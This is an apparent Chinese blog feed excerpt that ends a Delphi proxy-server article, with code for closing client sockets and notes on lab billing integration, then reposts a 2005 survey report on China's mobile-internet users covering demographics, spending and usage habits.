serversocket1.Socket.Connections[j-1].SocketHandle=session[i-1].SS_Handle then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serversocket1.Socket.Connections[j-1].Close;&nbsp; {断开客户机}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>end;<BR>end.</P>
<P>3、 后记<BR>由于这种设计思路仅仅在被代理端和远程主机之间增加了一个重定向功能，被代理端原<BR>有的缓存技术等特点均保留，因此效率较高。经过测试，利用1个33.6K的Modem上网时，三到十个被代理工作站同时上网，仍有较好的响应速度。由于被代理工作站和代理服务器工作站之间的连接一般通过高速链路，因此瓶颈主要出现在代理服务器的上网方式上。<BR>通过上述方法，作者成功开发了一套完善的代理服务器软件并与机房计费系统完全集<BR>成，实现了利用一台工作站完成上网代理、上网计费、用机计费等功能。 有编程经验的朋友完全可以另行增加代理服务器功能，如设定禁止访问站点、统计客户流量、Web访问列表等等。</P>
<P>&nbsp;</P>
<P>摘：<A href="http://www.daima.com.cn/Info/2/Info4774/">http://www.daima.com.cn/Info/2/Info4774/</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=31" /> 
	  <id>http://www.openx.cn/default.asp?id=31</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[2005中国无线互联网新网民大调查调研报告]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-16T12:06:20+08:00</updated>
	  <published>2005-09-16T12:06:20+08:00</published>
		  <summary type="html"><![CDATA[<P style="TEXT-INDENT: 2em"><STRONG>一、研究背景：</STRONG></P>
<P style="TEXT-INDENT: 2em">谁都知道，随着2005年底3G牌照的发放，这一年来免费WAP站点兴起层出不穷，大型SP公司频频传出被国外公司收购或风险投资的消息，中国的移动互联网将正式进入一个飞速发展的阶段。</P>
<P style="TEXT-INDENT: 2em">但谁又知道，在用户层面上，截止到2004年底，中国已有手机上网用户约为4200万人、2005年底预测将达到9000万人——但与中国市场上有上亿部可上网手机、并且有着熟练电脑上网经验的庞大用户群相比，9000万人甚至还引不起太多的注意，多数人根本就不知道另外一个网络世界已经诞生，并且就在身边。</P>
<P style="TEXT-INDENT: 2em">这两种用户之间有一道深深的鸿沟。而消除这道鸿沟，是运营商、手机市场、以及手机用户大众本身在3G牌照发放之前最迫切的需要。</P>
<P style="TEXT-INDENT: 2em">于是我们选择在2005年8月推出“2005中国无线互联网新网民”大型调查，让更多的人关注到这一个正越来越浮出水面的网络世界。</P>
<P style="TEXT-INDENT: 2em"><STRONG>二、调查主办与协办单位</STRONG></P>
<P style="TEXT-INDENT: 2em"><STRONG>主办方：</STRONG></P>
<P style="TEXT-INDENT: 2em">中国互联网协会交流中心</P>
<P style="TEXT-INDENT: 2em"><STRONG>协办方：</STRONG></P>
<P style="TEXT-INDENT: 2em">《计算机世界》：计算机及数码专业领域的最大媒体之一。</P>
<P style="TEXT-INDENT: 2em">《广州日报》：南方最有影响力与广泛受众面的大众性媒体之一。</P>
<P style="TEXT-INDENT: 2em">TOM在线（www.tom.com）：internet四大门户网站之一。</P>
<P style="TEXT-INDENT: 2em">3G门户网（wap.3g.net.cn）：WAP领域国内最大的门户网站。</P>
<P style="TEXT-INDENT: 2em">网易（www.163.com）：internet四大门户网站之一。</P>
<P style="TEXT-INDENT: 2em">艾瑞市场咨询（iResearch）：专业调查分析公司。</P>
<P style="TEXT-INDENT: 2em"><STRONG>三、研究方法：</STRONG></P>
<P style="TEXT-INDENT: 2em">继中国移动互联网第一次大型调查“你的手机上网吗？”后，2005年8月中国移动互联网推出第二次大型调查“2005中国无线互联网新网民大调查”，此次调查活动自2005年8月8日零时零分开始，至2005年8月23日零时零分结束，所有手机用户均可通过主办、协办方的WAP站、WWW站、报纸等三种方式之一参与调查，此次调研共收到样本55589份，经过艾瑞相同IP地址、没填写完整问卷等删选，最终收到有效样本35616份，由互联网协会和国内知名网络经济研究公司艾瑞市场咨询（iResearch）对结果进行分析和评论。</P>
<P style="TEXT-INDENT: 2em"><STRONG>此次调研样本来源</STRONG></P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_1.jpg[img]</P>
<P style="TEXT-INDENT: 2em">1. “2005年中国无线互联网新网民大调查”用户年龄分布</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005年中国无线互联网新网民主要分布在18岁-23岁，占调查人数的55.4%，23岁-28岁的用户占了20.8%，有16%的用户是18岁以下的用户。28岁-35岁的用户只占了6.1%，35岁以上的用户只有1.7%。</P>
<P style="TEXT-INDENT: 2em">2004年中国无线互联网新网民的平均年龄为21.6岁，2005年中国无线互联网新网民的平均年龄则为20.6岁，中国无线互联网新网民的平均年龄逞下降趋势。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_2.jpg[img]</P>
<P style="TEXT-INDENT: 2em">2. “2005年中国无线互联网新网民大调查”用户性别分布</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005中国无线互联网新网民仍以男性为主，男性占了79.0%，女性只占了21%。但与去年相比，男性比例下降6.9%，越来越多女性用户的加入，显示着无线新网民的结构正在不断完善与全面。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_3.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2004年中国无线互联网新网民的性别比例为，男性86%，女性14%，而到了2005年中国无线互联网新网民的性别比例发展为男性79%，女性21%，女性互联网新网民的比例逐步增多。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_4.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">3. “2005年中国无线互联网新网民大调查”用户月收入分布</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005年中国无线互联网新网民中无收入的占39.9%，有33.4%的新网民的收入是在1500以下，收入在1500元—3000元的占20.5%，而收入在3000元以上的只有6.2%。</P>
<P style="TEXT-INDENT: 2em">与去年结果相比，经过一年时间，无线互联网在学生群体中得到了更好的推广，“无收入”手机网民比例从去年的36.39%上升至今年的39.9%、3000元以下的中低收入者比去年比例上升8.9%，而3000元以上的高收入者则下降了4.4%。之直接导致了2005年中国无线互联网新网民的平均收入从2004年的1091.4元下降为898.7元。</P>
<P style="TEXT-INDENT: 2em">随着中国无线互联网新网民的平均年龄的下降，无线互联网新网民的平均收入也逞下降趋势。这再一次证明，运营商根据收入划分的“高端”用户，并不是移动互联网的主力，也不应是增值业务的主要目标群体。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_5.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">4. “2005年中国无线互联网新网民大调查”用户职业分布</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005年中国无线互联网新网民主要以学生为主，大学生占了22.1%，中学生占了21.4%，有7.8%的新网民是从事商业和贸易，6.2%的新网民是从事计算机、网络、通讯等职业，而在政府机关工作的只占了3.5%。从事文化、娱乐、体育类行业的新网民只占了2.1%，从事其它行业的新网民占了34.3%。</P>
<P style="TEXT-INDENT: 2em">与去年情况相同，今年的手机网民仍然主要集中在校园里，大学生与中学生的比例都有提高，这与16-22岁间年轻群体最容易接受新鲜事物、追赶潮流有关系。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_6.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民的大学生比例由2004年的21.4%上升到22.1%，中学生比例由2004年的19.9%上升到21.4%，学生WAP使用率有明显上升。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_7.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">5. “2005年中国无线互联网新网民大调查”用户学历分布</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005年中国无线互联网新网民中，中学学历和大专学历的占大多数，中学学历的网民占了47.3%，大专学历的占了32.7%，而本科学历的移动新网民只占了18.5%，只有1.5%的新网民是硕士以上的学历。</P>
<P style="TEXT-INDENT: 2em">由于大批学生的加入，中学学历、与大专学历者在手机网民中比例增加，但本科学历者却略有降低，比去年降低5.9%，不过有点新意的是今年，拥有硕士高学历者的比例却比去年增加1.1%，说明一部分“高端”用户开始尝试接受新生的网络。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_8.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民的学历教育情况中，中学学历的比例由2004年的44%上升到47%，大专学历的比例由2004年的31.1%上升到32.7%。本科学历的比例由2004年的24.5%下降到18.5%。</P>
<P style="TEXT-INDENT: 2em">使用WAP的用户呈现年轻、低收入和低学历化发展，有愈来愈多的年轻用户加入到WAP使用行业。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_9.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">6. “2005年中国无线互联网新网民大调查”用户手机网络使用情况</P>
<P style="TEXT-INDENT: 2em">据调查显示，中国无线互联网新网民几乎都是GPRS的用户，有98.3%的新网民使用GPRS，只有1.7%的用户使用CDMA。</P>
<P style="TEXT-INDENT: 2em">注：由于此次调查的数据回收平台主要在WAP网站上，而联通的绝大部分CDMA手机未开通访问除“互动视界”以外WAP站点的功能，因此此项结果可能与真实情况略有偏失。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_10.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">7. “2005年中国无线互联网新网民大调查”用户月均移动话费分布情况</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005年中国无线互联网新网民中大部分用户的月均移动移动话费在100元以内，占57.3%，月均话费在100—200元的占29.9%，只有7.8%的用户月均话费在201--300元和5.0%的用户月均话费在300元以上。</P>
<P style="TEXT-INDENT: 2em">与去年有逾六成用户每月手机话费超过100元的情况相比，今年的手机网民在话费上的消费有所降低，包括去年有12.4%的用户手机话费在300元以上，而今年只有5%，出现这样的情况，应该是与今年网民增长趋势呈现低龄化有关。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_11.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民中，用户的年龄由低到高，他们的月均手机话费金额也是由低到高，18岁以下的用户月均手机话费为79.4元，18至23岁用户月均手机话费为101.4元，23至28岁用户月均手机话费为134.6元，28至35岁用户月均手机话费为140.5元，35岁以上用户月均手机话费为146.7元。</P>
<P style="TEXT-INDENT: 2em">年龄愈大，平均手机使用话费愈高。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_12.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民中，用户的个人月收入由低到高，他们的月均手机话费金额也是由低到高，无收入的用户月均手机话费为76.9元，月收入1500元以上的用户月均手机话费为102.1元，月收入1500至3000元的用户月均手机话费为149.1元，月收入3000元以上用户月均手机话费为202.3元。</P>
<P style="TEXT-INDENT: 2em">收入愈高的人群月均花费的手机话费愈高。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_13.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民的月均手机话费中，平均月花费在100元以内的用户比例从2004年的37.6%上升到57.3%，平均月花费100至200元的用户比例从2004年的38.9%下降到29.9%，平均月花费201元至300元的用户比例从2004年的12.1%下降到5%，平均月花费300元以上的用户比例从2004年的11.4%下降到7.8%。</P>
<P style="TEXT-INDENT: 2em">2005年月均手机话费100元以下的用户比例有显著上升。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_14.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">8. “2005年中国无线互联网新网民大调查”用户月均手机上网花费分布情况</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005年中国无线互联网新网民月均手机上网花费最多的是在10—30元之间，占64.8%，手机上网花费在10元以下的占17.5%，在31—80元的占13.1%。</P>
<P style="TEXT-INDENT: 2em">在这一年，由于运营商对上网的政策放开，在越来越多的地区实行了10-20元上网包月不限制流量套餐，因此，月均手机上网花费在10—30元之间的用户呈上升趋势，这一群体也将在未来几年内成为手机上网用户的主体。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_15.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民中，用户的年龄由低到高，他们的月均手机上网费用也是由低到高，18岁以下的用户月均手机上网费用在10元以下的的比例最高，18至23岁用户月均手机上网费用在10至30元的比例最高，28至35岁用户月均手机上网费用在31至80元的比例最高， 35岁以上用户月均手机上网费用在80元以上的比例最高。</P>
<P style="TEXT-INDENT: 2em">年龄越大，月均手机上网花费越高。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_16.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民中， 无收入的用户月均手机上网费用在10元以下的的比例最高，月收入在1500元以下的用户月均手机上网费用在10至30元的比例最高，月收入在3000元以上的用户月均手机上网费用在31至80元段的和手机上网费用在80元以上段的比例最高。</P>
<P style="TEXT-INDENT: 2em">月均收入越高的用户月均手机上网费用支出越多。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_17.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民的月均手机上网费用中，平均月花费在10元以下的用户比例从2004年的13.8%上升到17.5%，平均月花费10至30元的用户比例从2004年的55.5%上升到64.8%，平均月花费31元至80元的用户比例从2004年的17.2%下降到13.1%，平均月花费80元以上的用户比例从2004年的13.5%下降到4.6%。</P>
<P style="TEXT-INDENT: 2em">与2004年相比，2005年手机上网费用月均支出在30元以下的用户比例显著上升。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_18.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">9. “2005年中国无线互联网新网民大调查”用户认为自己是手机网民的情况</P>
<P style="TEXT-INDENT: 2em">据调查显示，2005年中国无线互联网新网民中，有79.9%的用户认为自己是手机网民，20.1%的用户认为自己不是手机网民。</P>
<P style="TEXT-INDENT: 2em">接近八成的手机上网用户认为自己是“手机网民”，意味着无线网络的影响正在越来越深入地渗透到人们的生活中去。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_19.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">10. “2005年中国无线互联网新网民大调查”用户对收费/免费手机站点的态度</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005年中国无线互联网新网民中，39.4%的用户只选择免费的手机站点，39.0%的用户通常是上免费的手机站点，偶尔使用收费的手机站点，只有18.1%的用户是看自己的需要选择站点，收费不收费都不要紧。</P>
<P style="TEXT-INDENT: 2em">在目前的形势下，“免费”仍然将会是最吸引用户需求的一大卖点，有超过78.4%￥的用户选择了“只选择或通常上免费网站”，可见呼声的强烈；不过，一个良好的趋势是，比起去年有多出近10%的用户选择了“收费不收费都不要紧，看自己需要决定”，这似乎预示着在无线互联网的商机正在越来越明显。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_20.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民中， 年龄在18岁以下和18至23岁的用户只上免费手机网站的比例最高，年龄在23至28岁和28至35岁和35岁以上的用户通常上免费的、偶尔使用收费的用户比例最高。</P>
<P style="TEXT-INDENT: 2em">23岁以下用户更青睐免费的手机网站，而23岁以上用户则会根据自己需求偶尔选择收费的手机网站。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_00.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_01.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民对免费/收费手机网站的态度中，只上免费网站的用户比例从2004年的35.5%上升到39.4%，通常上免费的、偶尔使用收费的用户比例从2004年的50.3%下降到39%，收费不收费不要紧、看自己需要决定的用户比例从2004年的9.7%上升到18.1%，不知道哪里有免费的用户比例从2004年的4.5%下降到3.5%。</P><!-- 导航菜单 --><!-- 导航菜单 -->
<P style="TEXT-INDENT: 2em">与2004调研结果相比，除了只上免费手机网站的用户比例有所上升外，值得关注的是有更多的用户开始选择个性化的服务，收不收费反而是其次的。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_21.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">11. “2005年中国无线互联网新网民大调查”用户手机上网时间情况</P>
<P style="TEXT-INDENT: 2em">据调查显示，2005年中国无线互联网新网民中有68.7%的用户一有空闲使用手机上网，20.1%的用户是在晚上没事时才用手机上网。</P>
<P style="TEXT-INDENT: 2em">手机上网正在成为新网民的一种习惯。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_22.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民中， 午休时间会手机上网的用户中以手机上网频率一周不到一次的用户比例最多，一有空闲就手机上网的用户中以手机上网频率每天上多次的用户比例最多。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_23.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">12. “2005年中国无线互联网新网民大调查”用户手机上网频率情况</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005年中国无线互联网新网民中，有75%的用户每天都是多次使用手机上网，只有10.7%的用户约每天使用1次，8.4%的用户每周使用1—3次。</P>
<P style="TEXT-INDENT: 2em">同上，该项同样说明手机上网正成为新网民的一种习惯。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_24.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">13. “2005年中国无线互联网新网民大调查”用户日均手机上网时间总长情况</P>
<P style="TEXT-INDENT: 2em">据调查统计，有33%的用户日均使用手机上网的时间在30分钟—2小时之间，19.7%的用户使用在30分钟内，28.9%的用户使用2小时以上，而18.3%的用户则是大多数时间都挂在网上。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_25.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005年中国无线互联网新网民中，中学生和大学生以及商业/贸易行业人群中日均手机上网时长在30分钟至2小时的用户比例最多，文化/娱乐/体育行业人群中日均手机上网时长2小时以上的用户比例最多。</P>
<P style="TEXT-INDENT: 2em">学生的手机上网时间要高于工作人群。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_26.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民中，日均手机上网时长在2小时以上的用户比例从2004年的33.2%上升到47.3%，日均手机上网时长在30分钟至2小时的用户比例从35.5%下降到33%，日均手机上网时长在30分钟内的用户比例从2004年的31.2%下降到19.7%。</P>
<P style="TEXT-INDENT: 2em">2005年用户日均手机上网的时长比2004年明显增加。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_27.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">14. “2005年中国无线互联网新网民大调查”用户手机上网时间最常使用的服务情况</P>
<P style="TEXT-INDENT: 2em">据调查统计，有41.1%的用户在手机上网时最常使用的服务是下载图片/铃声/游戏，有14.4%的用户是最常使用在线聊天，13.3%的用户是最常使用看新闻，13.2%的用户是泡WAP社区，11.7%的用户则是阅读电子书。</P>
<P style="TEXT-INDENT: 2em">下载类业务仍然是手机娱乐的主要项目，下载图片/铃声/游戏占到了41.1%之多，比去年略有下滑；在线聊天与查看新闻的用户有有增加，分别上升1.6% 与2.6%，泡社区的用户同样有增加，可以看到，手机娱乐更多元化了，正在从之前单一的下载类业务分流出来。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_28.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民中，18岁以下的用户中手机上网最常使用下载图片铃声游戏、泡WAP社区和在线聊天的用户比例最多，35岁以上的用户中最常使用看新闻和收发邮件的用户比例最多。</P><!-- 导航菜单 --><!-- 导航菜单 -->
<P style="TEXT-INDENT: 2em">不同年龄层用户使用手机上网服务也有所区别，可有针对性宣传。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_29.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民手机上网最常使用的服务中，下载图片铃声游戏的用户比例从2004年的58.1%下降到41.1%，在线聊天的用户比例从2004年的12.8%上升到14.4%，看新闻的用户比例从2004年的10.8%上升到13.3%，泡WAP社区的用户比例从2004年的12.2%上升到13.2%。</P>
<P style="TEXT-INDENT: 2em">与2004年相比，选择用手机上网下载图片铃声游戏的用户比例有明显下降，用户手机上网服务的种类开始多元化，开始从集中走向分散。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_30.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">15. “2005年中国无线互联网新网民大调查”用户认为3G到来网速有所改善后最常使用的服务</P>
<P style="TEXT-INDENT: 2em">据调查统计，21.4%的2005年中国无线互联网新网民认为3G到来网速有所改善后，最常使用的服务是可视电话，20.6%的用户认为最常使用的是图铃下载，16.3%的用户认为是流媒体节目，13.8%的用户认为是交友聊天，12.6%的用户认为是联网游戏，只有7.7%的用户认为是看新闻，5.2%的用户认为将会是移动电子商务，2.4%的用户认为是收邮件。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_31.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民中，在3G普及后会最常使用的手机上网服务中，18岁以下的用户最常使用图铃下载的比例最多，23至28岁的用户最常使用可视通话的用户比例最多，28至35岁用户最常使用流媒体节目的比例最多，35岁以上用户最常使用看新闻的比例最多。</P>
<P style="TEXT-INDENT: 2em">3G普及后，年龄小的用户还是更青睐图铃下载和交友聊天等服务，但随着年龄增长，用户更多的希望手机上网能和工作生活提供更多的便捷。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_32.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">16. “2005年中国无线互联网新网民大调查”用户认为除了通话和短信外手机最重要的功能</P>
<P style="TEXT-INDENT: 2em">据调查统计，39.8%的用户认为手机除通话和短信外，最重要的功能是可以与电脑同步，共享资源，32%的用户认为是手机上网，而20.3%的用户则认为手机最重要的是有多媒体功能（mp3、电影）。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_33.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民中，认为手机除短信外最重要的功能中，18岁以下用户中认为上网最为重要的比例最多，其次是与电脑同步、共享资源，而随着用户的年龄群越高，认为与电脑同步、共享资源最重要的比例越来越高，认为上网最重要的比例越来越少。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_34.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">17. “2005年中国无线互联网新网民大调查”用户目前WAP网站的最大问题</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005中国无线互联网新网民中有52.4%的用户认为目前WAP网站最大的问题是注册后，骚扰短信太多，32%的用户则认为目前WAP网站缺乏管制，色情泛滥，有10.9%的用户认为WAP网站的收费陷阱多。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_35.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民中，一周手机上网不到一次的用户认为目前WAP网站最大的问题是收费陷阱，手机上网每天上一次的用户认为目前WAP网站最大的问题是缺乏管制、色情泛滥，手机上网每天多次的用户认为目前WAP网站最大的问题是注册后骚扰短信太多。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_36.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">18. “2005年中国无线互联网新网民大调查”用户身边朋友不选择手机上网的理由</P>
<P style="TEXT-INDENT: 2em">据调查显示，2005中国无线互联网新网民的身边朋友中，有31.4%不选择手机上网的原因是上网费用高，30.2%是因为担心有收费陷阱而没有使用，17.7%是因为手机上网网速慢而没有使用；选择不会用手机上网的用户占11.2%。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_37.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民认为身边朋友不选择手机上网的原因中，男性用户中比例最多的是担心有收费陷阱，其次是上网费用贵，女性用户中比例最多的是上网费用贵，其次是担心有有收费陷阱。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_38.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">19. “2005年中国无线互联网新网民大调查”用户手机书签里保留的WAP网站数量</P>
<P style="TEXT-INDENT: 2em">据调查显示，在2005中国无线互联网新网民中，有61.5%的用户在手机书签里只保存了一个WAP的网站，有34.8%的用户的手机书签里有2--5个WAP的网站。上内置主页的用户只占1.2%。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_39.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">20. “2005年中国无线互联网新网民大调查”用户是否会修改自己手机主页设置情况</P>
<P style="TEXT-INDENT: 2em">据调查显示，2005中国无线互联网新网民中有95.3%的会修改自己手机主页的设置，而4.7%的用户则不会。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_40.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民中，手机主页设置为3G门户的用户会修改手机主页设置的比例最高，手机主页设置为TOM在线的用户会修改手机主页设置的比例最少。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_41.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">21. “2005年中国无线互联网新网民大调查”用户目前手机主页情况</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005中国无线互联网新网民用户中，有52.1%的用户使用移动梦网作为目前手机的主页，而23.6%的用户使用3G门户网站作为主页，接下来依次是互动视界、腾讯QQ和WAP天下。</P>
<P style="TEXT-INDENT: 2em">由于手机主页一般都是出售前就预先设置好的，大多数手机都是运营商的主站，不过，尽管这一年来中国移动对更多地区开放了GPRS上网套餐，但实际选择“梦网”作为手机主页的支持率却有所下降——从去年的61%跌至今年的52%，这中间的份额被一年来兴起的大大小小的免费网站瓜分了。3G门户网是其中最大份额者，排名第二，占到23.6%；排在之后的互动视界、腾讯QQ和WAP天下等等，所占份额比起3G门户网，都显得略小。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_42.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民中，手机主页设置为移动梦网的用户比例从2004年的61.6%下降到52.1%，手机主页设置为3G门户的用户比例从2004年的25%下降到23.6%，手机主页设置为互动视界的用户比例从2004年的1.2%上升到9%。随着手机上网的发展，用户设置手机主页的选择也越来越广。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_43.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">22. “2005年中国无线互联网新网民大调查”用户认为上网功能最好的手机品牌情况</P>
<P style="TEXT-INDENT: 2em">据调查统计，2005中国无线互联网新网民中有62.8%的用户认为<A href="http://product.mobile.163.com/1/000N.html"><FONT color=red><U>诺基亚</U></FONT></A>的手机上网功能最好，17.1%的用户认为<A href="http://product.mobile.163.com/1/000G.html"><FONT color=red><U>索爱</U></FONT></A>的上网功能最好，接下来依次是<A href="http://product.mobile.163.com/1/000X.html"><FONT color=red><U>摩托罗拉</U></FONT></A>、<A href="http://product.mobile.163.com/1/000W.html"><FONT color=red><U>三星</U></FONT></A>和benq。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_44.jpg[/img]</P>
